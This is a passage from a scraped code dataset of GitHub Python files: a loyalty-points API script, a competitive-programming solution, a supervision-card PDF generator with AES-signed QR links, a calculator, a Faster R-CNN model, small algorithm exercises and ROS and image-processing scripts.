region == \"SPA\":\r\n director.builder = ConcreteBuilder5()\r\n\r\n return director.builder\r\n\r\n\r\ndef constructObject(points):\r\n jsonObject = {\"action\": \"add\", \"points\": points}\r\n return jsonObject\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--shop',type=str)\r\n parser.add_argument('--region', type=str)\r\n parser.add_argument('--id', type=str)\r\n parser.add_argument('--order', type=str)\r\n args = parser.parse_args()\r\n\r\n print(\"Hello!\")\r\n\r\n print(\"Here's a \" + args.order)\r\n print(\"Adding points for your purchase...\")\r\n\r\n # API Request\r\n # add business logic points, with json payload\r\n # myobj = { \"action\": \"\", \"points\": 25}\r\n director = Director()\r\n director.builder = switchBuilder(args.region, director)\r\n\r\n defaultPoints = 1\r\n points = switchShop(director.builder, args.shop, defaultPoints)\r\n jsonObject = constructObject(points)\r\n #print(jsonObject)\r\n\r\n region = config[args.region][\"api_port\"]\r\n\r\n # Add points\r\n url = \"http://localhost:\"+str(region)+\"/users/\" + args.id + \"/\" + \"points\"\r\n response = requests.put(url, json=jsonObject)\r\n data = response.json()\r\n print(data)\r\n\r\n print(\"Updating transaction history...\")\r\n #Update Transaction History\r\n id = 1 #What should this be?\r\n url = 'http://localhost:'+str(region)+'/transactions/' + str(id)\r\n response = requests.post(url,json={\"user_id\": args.id, \"order_details\": args.order})\r\n print(response)\r\n #data = response.json()\r\n #print(data)\r\n","repo_name":"sureshvarshini/Distributed_systems","sub_path":"network_emulation/purchase_add.py","file_name":"purchase_add.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41880183668","text":"N=int(input())\nS=input().rstrip()\ncnt = {\"R\":0, \"G\":0, \"B\":0}\nfor s in S:\n cnt[s]+=1\nans = cnt[\"R\"] * cnt[\"G\"] * cnt[\"B\"]\nfor i in range(N):\n for j in range(i+1, N):\n if S[i] == S[j]: continue\n next_ind = 2*j-i\n if next_ind >= N or S[next_ind] == S[i] or S[next_ind] == S[j]:continue\n ans -= 1\nprint(ans)","repo_name":"tokumaru-y/competitive_program_python","sub_path":"atcoder/contested/162/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17340403116","text":"from reportlab.lib.enums import TA_JUSTIFY, TA_CENTER, TA_RIGHT\nfrom reportlab.lib import colors\nfrom reportlab.lib.pagesizes import A4, inch, portrait\nfrom reportlab.platypus import SimpleDocTemplate, Table, TableStyle, Paragraph, Spacer, Image\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom datetime import date\nfrom module import kelas, bkd, approve_kambing, berita_acara_pitak\nfrom lib import numbers\nfrom datetime import datetime\nfrom Crypto.Cipher import AES\n\nimport qrcode, config, os\n\ndef getTipeBimbingan(npm):\n db = kelas.dbConnectSiap()\n sql = f\"select DISTINCT(tipe) from simak_croot_bimbingan where MhswID={npm}\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n row = cur.fetchone()\n if row is not None:\n return row[0]\n else:\n return None\n\n\ndef getFotoRoute(npm):\n db = kelas.dbConnectSiap()\n sql = f\"select Foto from simak_mst_mahasiswa where MhswID={npm}\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n row = cur.fetchone()\n if row is not None:\n return row[0]\n else:\n return None\n\n\ndef getAllDataBimbingan(npm):\n db = kelas.dbConnectSiap()\n sql = f\"select * from simak_croot_bimbingan where MhswID={npm} ORDER BY Pertemuan_ DESC\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n rows = cur.fetchall()\n if rows is not None:\n return rows\n else:\n return None\n\n\ndef getAllDataBimbinganByDosenID(npm, dosenid):\n db = kelas.dbConnectSiap()\n sql = f\"select * from simak_croot_bimbingan where MhswID={npm} and DosenID='{dosenid}' ORDER BY Pertemuan_ DESC\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n rows = cur.fetchall()\n if rows is not None:\n return rows\n else:\n return None\n\n\ndef getAllNilaiBimbingan(npm, dosenid):\n db = kelas.dbConnectSiap()\n sql = f\"select Nilai from simak_croot_bimbingan where MhswID={npm} and DosenID='{dosenid}' and TahunID={kelas.getTahunID()} ORDER BY Pertemuan_ ASC\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n rows = cur.fetchall()\n if rows is not None:\n return rows\n else:\n return None\n\ndef totalNilai(npm, MINIMUM_PERTEMUAN, dosenid):\n data=approve_kambing.getDataPembimbing(npm, dosenid)\n pembimbingke=approve_kambing.pembimbingPositionAs(data, dosenid)\n # if pembimbingke == 'pembimbing2':\n # MINIMUM_PERTEMUAN=5\n ALL_DATA_BIMBINGAN = getAllDataBimbinganByDosenID(npm, dosenid)\n ALL_NILAI_BIMBINGAN = getAllNilaiBimbingan(npm, dosenid)\n LAST_PERTEMUAN_BIMBINGAN = ALL_DATA_BIMBINGAN[0][5]\n # if len(ALL_DATA_BIMBINGAN) < MINIMUM_PERTEMUAN:\n # status, totalnilai = False, 0\n # else:\n if LAST_PERTEMUAN_BIMBINGAN < MINIMUM_PERTEMUAN:\n totalnilai = 0\n for nilai in ALL_NILAI_BIMBINGAN:\n totalnilai += nilai[0]\n status, totalnilai = True, totalnilai / (MINIMUM_PERTEMUAN)\n else:\n totalnilai = 0\n for nilai in ALL_NILAI_BIMBINGAN:\n totalnilai += nilai[0]\n status, totalnilai = True, totalnilai / (LAST_PERTEMUAN_BIMBINGAN)\n return status, totalnilai\n\n\ndef getNIDNDosen(dosenid):\n db=kelas.dbConnectSiap()\n sql=f\"select NIDN from simak_mst_dosen where Login='{dosenid}'\"\n with db:\n cur=db.cursor()\n cur.execute(sql)\n row=cur.fetchone()\n if row is not None:\n return row[0]\n else:\n return None\n\n\ndef getDataBimbinganwithMhswIDandDosenID(npm, dosenid):\n db=kelas.dbConnectSiap()\n sql=f\"select * from simak_croot_bimbingan where MhswID={npm} and DosenID='{dosenid}' order by Pertemuan_ desc\"\n with db:\n cur=db.cursor()\n cur.execute(sql)\n rows=cur.fetchall()\n print(rows)\n if rows is not None:\n return rows\n else:\n return None\n\n\ndef getDataByPertemuanandNPM(npm, pertemuanke, kode_dosen):\n db=kelas.dbConnectSiap()\n sql=f\"select * from simak_croot_bimbingan where MhswID={npm} and Pertemuan_={pertemuanke} and DosenID='{kode_dosen}'\"\n with db:\n cur=db.cursor()\n cur.execute(sql)\n rows=cur.fetchone()\n if rows is not None:\n return True, rows\n else:\n return False, ''\n\n\ndef makeListDataBimbinganByDosens(npm, kode_dosen):\n dataBimbingan=getDataBimbinganwithMhswIDandDosenID(npm, kode_dosen)\n if dataBimbingan[0][5] < 8:\n setStart=8\n else:\n setStart=dataBimbingan[0][5]\n pertemuan = 1\n databimbinganforPDF=[]\n for i in range(setStart):\n status, datawekwek=getDataByPertemuanandNPM(npm, pertemuan, kode_dosen)\n if status:\n data=[]\n data.append(str(pertemuan))\n data.append(datawekwek[8].strftime('%d-%m-%Y'))\n data.append(datawekwek[7].split(';')[0])\n data.append(datawekwek[7].split(';')[1])\n data.append(str(datawekwek[6]))\n databimbinganforPDF.append(data)\n else:\n data=[]\n data.append(str(pertemuan))\n data.append('-')\n data.append('-')\n data.append('-')\n data.append('-')\n databimbinganforPDF.append(data)\n pertemuan+=1\n return databimbinganforPDF\n\n\ndef makeQrcode(data, npm_mahasiswa):\n img = qrcode.make(data)\n img.save(f\"{npm_mahasiswa}.PNG\")\n\n\ndef getStudentEmail(npm):\n db = kelas.dbConnectSiap()\n sql = f\"select Email from simak_mst_mahasiswa where MhswID={npm}\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n row = cur.fetchone()\n if row is not None:\n return row[0]\n else:\n return None\n\n\ndef switcherTipeBimbingan(tipe):\n switcher = {\n 'ta': 'TUGAS AKHIR',\n 'i1': 'INTERNSHIP I',\n 'i2': 'INTERNSHIP II',\n 'p1': 'PROYEK I',\n 'p2': 'PROYEK II',\n 'p3': 'PROYEK III',\n }\n return switcher.get(tipe, \"Not Found!!\")\n\n\ndef getKodeDosenBimbingan(npm):\n db = kelas.dbConnect()\n sql = f\"select pembimbing1, pembimbing2 from bimbingan_data where npm={npm}\"\n with db:\n cur = db.cursor()\n cur.execute(sql)\n row = cur.fetchone()\n if row is not None:\n return row\n else:\n return None\n\n\ndef getJudulBimbingan(npm, tahunid):\n db=kelas.dbConnect()\n sql=f'select judul from bimbingan_data where npm={npm} and tahun_id={tahunid}'\n with db:\n cur=db.cursor()\n cur.execute(sql)\n row=cur.fetchone()\n if row is not None:\n return row[0]\n else:\n return None\n\n\ndef auth(data):\n if kelas.getNpmandNameMahasiswa(data[0]) == None:\n ret = False\n else:\n ret = True\n return ret\n\n\ndef replymsg(driver, data):\n num = numbers.normalize(data[0])\n studentid,studentname=kelas.getNpmandNameMahasiswa(num)\n statusapprovalkambing = cekApprovalKambingAtBeginning(studentid)\n if statusapprovalkambing is not None:\n if 'false' in statusapprovalkambing or '' in statusapprovalkambing:\n msgreply='wiwiwiwiwi KAMBING kamu belum di approve nih sama Bapak/Ibu dosen yang ini nih:'\n if 'false' == statusapprovalkambing[0] or '' == statusapprovalkambing[0]:\n kodedosen1=getKodeDosenBimbingan(studentid)[0]\n namadosen=kelas.getNamaDosen(kodedosen1)\n msgreply+=f'\\n{kodedosen1} | {namadosen} | PEMBIMBING 1'\n if 'false' == statusapprovalkambing[1] or '' == statusapprovalkambing[1]:\n kodedosen1 = getKodeDosenBimbingan(studentid)[1]\n namadosen = kelas.getNamaDosen(kodedosen1)\n msgreply += f'\\n{kodedosen1} | {namadosen} | PEMBIMBING 2'\n else:\n KODE_DOSEN_BIMBINGAN = getKodeDosenBimbingan(studentid)\n # status_nilai1, nilai_total1=totalNilai(studentid, config.MINIMUM_PERTEMUAN_BIMBINGAN, KODE_DOSEN_BIMBINGAN[0])\n # status_nilai2, nilai_total2=totalNilai(studentid, config.MINIMUM_PERTEMUAN_BIMBINGAN, KODE_DOSEN_BIMBINGAN[1])\n status_nilai1=True\n status_nilai2=True\n if status_nilai1 and status_nilai2:\n JUDUL_BIMBINGAN=getJudulBimbingan(studentid, kelas.getTahunID())\n KODE_DOSEN_BIMBINGAN=getKodeDosenBimbingan(studentid)\n if KODE_DOSEN_BIMBINGAN is None:\n msgreply=f'data dengan npm {studentid} tidak ditemukan'\n else:\n for KODE_DOSEN in KODE_DOSEN_BIMBINGAN:\n NAMA_DOSEN = kelas.getNamaDosen(KODE_DOSEN)\n NIDN_DOSEN = getNIDNDosen(KODE_DOSEN)\n TAHUN_AJARAN = kelas.getTahunAjaran(kelas.getProdiIDwithStudentID(studentid)).split(' ')[-1]\n photo = berita_acara_pitak.cekPhotoRoute(studentid)\n makePdf(\n npm_mahasiswa=studentid,\n nama_mahasiswa=studentname,\n tipe_bimbingan=switcherTipeBimbingan(getTipeBimbingan(studentid)),\n nama_pembimbing=NAMA_DOSEN,\n kode_dosen_pembimbing=KODE_DOSEN,\n nidn_pembimbing=NIDN_DOSEN,\n tahun_ajaran=TAHUN_AJARAN,\n photo=photo,\n judul=JUDUL_BIMBINGAN,\n total_nilai=totalNilai(studentid, config.MINIMUM_PERTEMUAN_BIMBINGAN, KODE_DOSEN)[1]\n )\n bkd.mail(kelas.getDataMahasiswa(studentid)[3],\n f'eyyowwwwwww {config.bot_name} nihhhh mau nganter file yang kamu mintaaa',\n f'ini ya file KAMBING (Kartu Bimbingan) yang Akang/Teteh minta silahkan di cek... ehee....',\n bkd.getFilePath(kelas.getDataMahasiswa(studentid)[3], 'kambing'))\n msgreply=f\"sudah selesai dan sudah dikirim ke email kamu yang {kelas.getDataMahasiswa(studentid)[3]} yaa....\"\n else:\n msgreply = f'mohon maaf belum bisa cetak kartu bimbingan dikarenakan pertemuan masih ada yang kurang'\n if status_nilai1 == False:\n msgreply+=f'\\n{KODE_DOSEN_BIMBINGAN[0]} | {kelas.getNamaDosen(KODE_DOSEN_BIMBINGAN[0])}'\n if status_nilai2 == False:\n msgreply+=f'\\n{KODE_DOSEN_BIMBINGAN[1]} | {kelas.getNamaDosen(KODE_DOSEN_BIMBINGAN[1])}'\n else:\n msgreply=f'mohon maaf data dengan npm {studentid} tidak bisa ditemukan'\n return msgreply\n\n\ndef cekApprovalKambingAtBeginning(npm):\n db=kelas.dbConnect()\n sql=f'select approval_pembimbing1, approval_pembimbing2 from bimbingan_data where npm={npm}'\n with db:\n cur=db.cursor()\n cur.execute(sql)\n row=cur.fetchone()\n if row is not None:\n return row\n else:\n return None\n\n\ndef makePdf(npm_mahasiswa, nama_mahasiswa, tipe_bimbingan, kode_dosen_pembimbing, nama_pembimbing, nidn_pembimbing, tahun_ajaran, photo, judul, total_nilai):\n checkDir()\n makeQrcodeVerifySign(\n link=makeLinkVerify(kode_dosen=kode_dosen_pembimbing,\n npm_mahasiswa=npm_mahasiswa,\n tipe_bimbingan=tipe_bimbingan,\n total_nilai=total_nilai),\n kode_dosen=kode_dosen_pembimbing,\n npm_mahasiswa=npm_mahasiswa,\n tipe_bimbingan=tipe_bimbingan\n )\n bulan = date.today().strftime(\"%m\")\n d2 = date.today().strftime(f\"%d {bkd.bulanSwitcher(bulan)} %Y\")\n STUDENT_EMAIL=getStudentEmail(npm_mahasiswa)\n doc = SimpleDocTemplate(f'./kambing/{npm_mahasiswa}-{kode_dosen_pembimbing}-{STUDENT_EMAIL}.pdf', pagesize=A4, rightMargin=30, leftMargin=30, topMargin=30, bottomMargin=18)\n doc.pagesize = portrait(A4)\n elements = []\n\n logo = Image(\"logoKAMBING.png\", 3.5 * inch, 1 * inch)\n logo.hAlign = \"LEFT\"\n elements.append(logo)\n\n styles = getSampleStyleSheet()\n styles.add(ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))\n styles.add(ParagraphStyle(name='Center', alignment=TA_CENTER))\n styles.add(ParagraphStyle(name='Right', alignment=TA_RIGHT))\n\n ptext = 'FORMULIR KEGIATAN'\n elements.append(Paragraph(ptext, styles[\"Center\"]))\n elements.append(Spacer(1, 12))\n\n ptext = f'{tipe_bimbingan}'\n elements.append(Paragraph(ptext, styles[\"Center\"]))\n elements.append(Spacer(1, 12))\n\n ptext = 'TA. ' + tahun_ajaran + ''\n elements.append(Paragraph(ptext, styles[\"Center\"]))\n elements.append(Spacer(1, 0.5 * inch))\n\n image = Image(photo, 1.1 * inch, 1.5 * inch)\n image.hAlign = \"RIGHT\"\n elements.append(image)\n elements.append(Spacer(1, 1.5 * inch))\n\n ptext = ' '\n elements.append(Paragraph(ptext, styles[\"Center\"]))\n elements.append(Spacer(1, -3 * inch))\n\n table = [['Nama', ': ' + nama_mahasiswa + ''],\n ['Npm', ': ' + npm_mahasiswa + ''],\n ['Judul', ': ' + judul + ''],\n ['Pembimbing',\n ': ' + nama_pembimbing + '']]\n\n style = TableStyle([('ALIGN', (1, 1), (-2, -2), 'RIGHT'),\n ('VALIGN', (0, 0), (0, -1), 'TOP'),\n ('ALIGN', (0, -1), (-1, -1), 'LEFT'),\n ('VALIGN', (0, -1), (-1, -1), 'MIDDLE')\n ])\n\n s = getSampleStyleSheet()\n s = s[\"BodyText\"]\n s.wordWrap = 'CJK'\n data1 = [[Paragraph(cell, s) for cell in row] for row in table]\n tab = Table(data1, hAlign='LEFT', colWidths=[75, 290])\n tab.setStyle(style)\n\n elements.append(tab)\n elements.append(Spacer(1, 0.6 * inch))\n\n data = [['Pertemuan', 'Tanggal', 'Sudah Dikerjakan', 'Pekerjaan Selanjutnya', 'Nilai']]\n inner_data_list=makeListDataBimbinganByDosens(npm_mahasiswa, kode_dosen_pembimbing)\n for i in inner_data_list:\n data.append(i)\n nilai_data_list=['', '', '', 'Rata-Rata: ', '%.2f' % round(float(total_nilai), 2)]\n data.append(nilai_data_list)\n\n # Get this line right instead of just copying it from the docs\n style = TableStyle([('FONT', (0, 0), (-1, 0), 'Helvetica-Bold'),\n ('ALIGN', (0, 0), (-1, 0), 'CENTER'),\n ('VALIGN', (0, 0), (0, -1), 'MIDDLE'),\n ('ALIGN', (0, 0), (0, -1), 'CENTER'),\n ('VALIGN', (0, -1), (-1, -1), 'MIDDLE'),\n ('VALIGN', (0, 0), (-1, -1), 'MIDDLE'),\n ('INNERGRID', (0, 0), (-1, -1), 0.50, colors.black),\n ('BOX', (0, 0), (-1, -1), 0.25, colors.black)\n ])\n\n # Configure style and word wrap\n s = getSampleStyleSheet()\n s = s[\"Normal\"]\n s.wordWrap = 'CJK'\n data2 = [[Paragraph(cell, s) for cell in row] for row in data]\n t = Table(data2, hAlign='CENTER', colWidths=[62.5, 65, 180, 180, 40])\n t.setStyle(style)\n\n elements.append(t)\n elements.append(Spacer(1, 10))\n\n ptext = ' '\n elements.append(Paragraph(ptext, styles[\"Right\"]))\n elements.append(Spacer(1, .5 * inch))\n\n ptext = 'Bandung, ' + d2 + ''\n elements.append(Paragraph(ptext, styles[\"Right\"]))\n elements.append(Spacer(1, 12))\n\n ptext = 'Pembimbing,'\n elements.append(Paragraph(ptext, styles[\"Right\"]))\n elements.append(Spacer(1, .1 * inch))\n\n data = approve_kambing.getDataPembimbing(npm_mahasiswa, kode_dosen_pembimbing)\n pembimbingke = approve_kambing.pembimbingPositionAs(data, kode_dosen_pembimbing)\n if approve_kambing.cekApprovalTrueorFalse(npm_mahasiswa, pembimbingke):\n qrcode = f\"./kambingqrcode/{npm_mahasiswa}-{kode_dosen_pembimbing}-{tipe_bimbingan}.png\"\n else:\n qrcode = f\"./kambingqrcode/whiteimage.png\"\n im = Image(qrcode, 1.5 * inch, 1.5 * inch)\n im.hAlign = \"RIGHT\"\n elements.append(im)\n\n ptext = '' + nama_pembimbing + ''\n elements.append(Paragraph(ptext, styles[\"Right\"]))\n elements.append(Spacer(1, 1))\n\n ptext = 'NIDN. ' + nidn_pembimbing + ''\n elements.append(Paragraph(ptext, styles[\"Right\"]))\n elements.append(Spacer(1, 12))\n\n doc.build(elements)\n\n\ndef makeLinkVerify(kode_dosen, npm_mahasiswa, tipe_bimbingan, total_nilai):\n datenow = datetime.date(datetime.now()).strftime('%d-%m-%Y')\n timenow = datetime.now().time().strftime('%H:%M:%S')\n module_name=\"kambing\"\n print(total_nilai)\n data = f'{module_name};{datenow};{timenow};{kode_dosen};{npm_mahasiswa};{tipe_bimbingan};%.2f;' % round(total_nilai, 2)\n makeit64 = f'{data}{bkd.randomString(64 - len(data))}'\n obj = AES.new(config.key.encode(\"utf8\"), AES.MODE_CBC, config.iv.encode('utf8'))\n cp = obj.encrypt(makeit64.encode(\"utf8\"))\n passcode = cp.hex()\n space = '%20'\n link = f'https://api.whatsapp.com/send?phone={config.nomor_iteung}&text=iteung{space}tanda{space}tangan{space}{passcode}'\n return link\n\n\ndef makeQrcodeVerifySign(link, npm_mahasiswa, kode_dosen, tipe_bimbingan):\n checkDirQrcode()\n img = qrcode.make(link)\n img.save(f'./kambingqrcode/{npm_mahasiswa}-{kode_dosen}-{tipe_bimbingan}.PNG')\n\n\ndef verifyDigitalSign(resultpasscode):\n resultpasscode=resultpasscode.split(';')\n tanggal=resultpasscode[1].split('-')[0]\n bulan=bkd.bulanSwitcher(resultpasscode[1].split('-')[1])\n tahun=resultpasscode[1].split('-')[2]\n sah_jam=resultpasscode[2]\n nama_dosen=kelas.getNamaDosen(resultpasscode[3])\n npm_mahasiswa=resultpasscode[4]\n kode_tipe_bimbingan=switcherTipeBimbingantoKode(resultpasscode[5])\n total_nilai=resultpasscode[6]\n msgreply = f\"Ini data yang diminta yaaaa\\n\\nNama Dosen: {nama_dosen}\\nPenerbitan Tanda Tangan: {sah_jam} {tanggal} {bulan} {tahun}\"\n for i in getDataBimbinganForReply(npm_mahasiswa, resultpasscode[3]):\n msgreply+=f\"\\n\\nPertemuan: {i[0]}\\nTanggal: {i[1].strftime('%d-%m-%Y')}\\nSudah Dikerjakan: {i[2].split(';')[0]}\\nPekerjaan Selanjutnya: {i[2].split(';')[1]}\\nNilai: {i[3]}\"\n msgreply+=f'\\n\\n*Nilai Rata-Rata _{total_nilai}_*'\n return msgreply\n\n\ndef switcherTipeBimbingantoKode(tipe_bimbingan):\n switcher = {\n \"TUGAS AKHIR\": \"ta\",\n \"INTERNSHIP I\": \"i1\",\n \"INTERNSHIP II\": \"i2\",\n \"PROYEK I\": \"p1\",\n \"PROYEK II\": \"p2\",\n \"PROYEK III\": \"p3\",\n }\n return switcher.get(tipe_bimbingan, 'NOT FOUND!!')\n\ndef checkDir():\n try:\n os.mkdir('kambing/')\n except:\n print('sudah ada..')\n\n\ndef checkDirQrcode():\n try:\n os.mkdir('kambingqrcode/')\n except:\n print('sudah ada..')\n\n\ndef getDataBimbinganForReply(npm, kode_dosen):\n db=kelas.dbConnectSiap()\n sql=f\"select Pertemuan_, Tanggal, Topik, Nilai from simak_croot_bimbingan where MhswID={npm} and DosenID='{kode_dosen}' order by Pertemuan_ asc\"\n with db:\n cur=db.cursor()\n cur.execute(sql)\n rows=cur.fetchall()\n if rows == ():\n return None\n else:\n return rows","repo_name":"riandakarizal/ITeung","sub_path":"module/kambing.py","file_name":"kambing.py","file_ext":"py","file_size_in_byte":19622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"652858907","text":"#Calculator - A Command Line Application that does basic Arithmetic Opertions.(Divison, Multiplication, Addition, Subtraction)\r\n\r\n'''Postfix evaluation'''\r\ndef postfix_evaluation(st, n):\r\n '''Evaluates a Postfix Expression and returns the answer(an Integer).'''\r\n\r\n #Operand Stack - Only contains the Operands\r\n operand_stack = []\r\n\r\n for i in range(n):\r\n if st[i] not in ('/', '*', '-', '+'):\r\n operand_stack.append(st[i])\r\n else:\r\n a = float(operand_stack.pop())\r\n b = float(operand_stack.pop())\r\n if st[i] == '/':\r\n val = b / a\r\n elif st[i] == '*':\r\n val = a * b\r\n elif st[i] == '+':\r\n val = a + b\r\n elif st[i] == '-':\r\n val = b - a\r\n\r\n operand_stack.append(val)\r\n #print('OS: {}'.format(operand_stack))\r\n\r\n return operand_stack[-1]\r\n\r\n\r\n\r\n'''Infix to Postfix conversion'''\r\ndef infix_to_postfix(s, n):\r\n '''Converts a given Infix expression to Postfix Expression. Returns the Postfix Expression as a String.'''\r\n #Operator Stack - Only contains Operators\r\n stack = []\r\n #Precedence of Arithmetic Operators\r\n operator_precedence = {'/' : 4, '*' : 3, '+' : 2, '-' : 1}\r\n #To store the postfix notation as a list\r\n res = []\r\n\r\n for i in range(n):\r\n if s[i] not in operator_precedence:\r\n if i == 0:\r\n res.append(s[i])\r\n else:\r\n if s[i-1] not in operator_precedence:\r\n res[-1] = res[-1] + s[i]\r\n else:\r\n res.append(s[i])\r\n\r\n else:\r\n if len(stack) == 0:\r\n stack.append(s[i])\r\n else:\r\n if operator_precedence.get(stack[-1]) > operator_precedence.get(s[i]):\r\n res.append(stack[-1])\r\n stack.pop()\r\n stack.append(s[i])\r\n else:\r\n stack.append(s[i])\r\n\r\n #Adding the remaining operators to the result\r\n while len(stack) != 0:\r\n res.append(stack[-1])\r\n stack.pop()\r\n print(res)\r\n return postfix_evaluation(res, len(res))\r\n\r\n\r\n\r\n\r\n#Driver Code\r\n'''Taking mathematical expression as a String'''\r\ns = input('Expression: ').strip()\r\nprint(infix_to_postfix(s, len(s)))\r\n\r\n\r\n'''\r\nTo Do:\r\n---------------\r\nFailing to handle Associativity ----> Left to Right Associativity\r\nLeft Most Operation should be evaluated first.\r\n'''\r\n","repo_name":"Ram-95/Python_Applications","sub_path":"Calculator - Command Line Application.py","file_name":"Calculator - Command Line Application.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"70108428325","text":"import pytorch_lightning as pl\nimport torch\nfrom torchvision.models.detection import FasterRCNN_ResNet50_FPN_V2_Weights, fasterrcnn_resnet50_fpn_v2\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\n\n\nclass Model(pl.LightningModule):\n def __init__(self):\n super().__init__()\n\n def training_step(self, batch):\n images, targets = batch\n loss = self.calc_loss(images, targets)\n return {\"loss\": loss}\n\n def calc_loss(self, images, targets):\n raise NotImplementedError\n\n def configure_optimizers(self):\n optimizer = torch.optim.SGD(self.parameters(), lr=0.005, momentum=0.9, weight_decay=0.0005)\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=3, gamma=0.1)\n return [optimizer], [lr_scheduler]\n\n\nclass FasterRCNN(Model):\n def __init__(self, num_classes):\n super().__init__()\n self.num_classes = num_classes\n # COCO V1 データで学習済みの重みを使用する\n weights = FasterRCNN_ResNet50_FPN_V2_Weights.DEFAULT\n model = fasterrcnn_resnet50_fpn_v2(weights=weights)\n # 予測出力部分を差し替える\n in_features = model.roi_heads.box_predictor.cls_score.in_features # type: ignore\n model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)\n self.model = model\n\n def calc_loss(self, images, targets):\n loss_dict = self.model(images, targets)\n total_loss = sum(loss for loss in loss_dict.values())\n return total_loss\n","repo_name":"onion213/wheat-detection","sub_path":"wheat_detection/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70570921765","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10000)\n\ndef dfs(v):\n VISITED[v] = True\n\n for e in adj[v]:\n if not VISITED[e]:\n dfs(e)\n\nn, m = map(int, input().strip().split())\nadj = [[] for _ in range(n + 1)]\nVISITED = [False] * (n + 1)\ncnt = 0\n\nfor _ in range(m):\n connected = list(map(int, input().strip().split()))\n adj[connected[0]].append(connected[1])\n adj[connected[1]].append(connected[0])\n\nfor i in range(1, len(VISITED)):\n if not VISITED[i]:\n cnt += 1\n dfs(i)\n\nprint(cnt)\n","repo_name":"jeanP-tech/Algorithms","sub_path":"[11724] 연결 요소의 개수.py","file_name":"[11724] 연결 요소의 개수.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72789730085","text":"# Faça um programa que receba um número.\n# Este número corresponde a uma posição na sequência\n# de Fibonacci: 0, 1, 1, 2, 3, 5,...\n# Exiba o número da sequência cuja posição foi informada:\n# \tA posição x corresponde ao número y\n\nnumero = int(input(\"Entre com um numero correspondente à posição Fibonacci: \"))\n\nfib_0 = 0\nfib_1 = 1\n\ni = 1\nwhile i < numero:\n fib_n = fib_1 + fib_0\n fib_0 = fib_1\n fib_1 = fib_n\n i += 1\n\nprint(f\"A posição {numero} corresponde ao número {fib_0}\")\n","repo_name":"TeoMeWhy/introducao-programacao-python","sub_path":"dia02/exercicios/ex2.8.py","file_name":"ex2.8.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"pt","doc_type":"code","stars":22,"dataset":"github-code","pt":"52"} +{"seq_id":"15488717410","text":"import brmap\nimport cv2 as cv\nimport numpy as np\nROW_COUNT = 10\ncloud = cv.imread(r'D:\\Users\\me\\Downloads\\cloud.jpg')\nmapped = brmap.brMap(cloud)\nregionSize = np.array(np.array(cloud.shape)/ROW_COUNT, dtype = 'uint16')\nmeans=np.empty((ROW_COUNT,ROW_COUNT))\nfor y in range(ROW_COUNT):\n [top, bottom] = np.array([y, y + 1]) * regionSize[0]\n for x in range(ROW_COUNT):\n [left, right] = np.array([x, x + 1]) * regionSize[1]\n region = cloud[top:bottom,left:right]\n means[y][x]=np.sum(region)/(region.shape[0]*region.shape[1])\nnorm=255/np.max(means)\ntest=np.empty(cloud.shape[0:2],dtype='uint8')\nfor y in range(ROW_COUNT):\n [top, bottom] = np.array([y, y + 1]) * regionSize[0]\n for x in range(ROW_COUNT):\n [left, right] = np.array([x, x + 1]) * regionSize[1]\n test[top:bottom,left:right]=means[y][x]*norm*np.ones(region.shape[:2])\ncv.imshow('test',test)\n \n \n\n\n","repo_name":"qhuengi/cloud-vision","sub_path":"brregions.py","file_name":"brregions.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11516824633","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import Pose, Point, Quaternion\nfrom std_msgs.msg import Float64MultiArray\nimport numpy as np\nfrom franka_core_msgs.msg import JointCommand\nfrom sensor_msgs.msg import JointState\n\n\ndef print_msg(msg):\n print(msg.position)\n\nnh = rospy.init_node(\"ik_test\")\npub = rospy.Publisher(\"in\", Pose, queue_size=10)\n#sub = rospy.Subscriber(\"/franka_ros_interface/custom_franka_state_controller/joint_states_desired\", JointState, print_msg)\n\n\nrospy.sleep(1)\n\nt = 0\nwhile True:\n t += 80 * 1e-4\n x = 0.6 #np.cos(t) / 6 + 0.6\n y = np.sin(t) / 3\n z = 0.25\n\n msg = Pose()\n msg.position = Point(x = x, y = y, z = z)\n msg.orientation = Quaternion(w = 1, x = 0, y = 0, z = 0)\n\n pub.publish(msg)\n rospy.sleep(0.001)\n\n","repo_name":"kpwelsh/PandaBarIK","sub_path":"test/ik_test.py","file_name":"ik_test.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33079442390","text":"# %%\nfrom pathlib import Path\nimport sys\nfrom sim2real.config import paths, names\nfrom sim2real.utils import ensure_dir_exists\nimport xarray as xr\nimport pandas as pd\n\n\ndef process_srtm():\n print(\"Loading raw SRTM dataset...\")\n elevation = xr.open_rasterio(paths.raw_srtm)\n elevation = elevation.rename(\n {\n 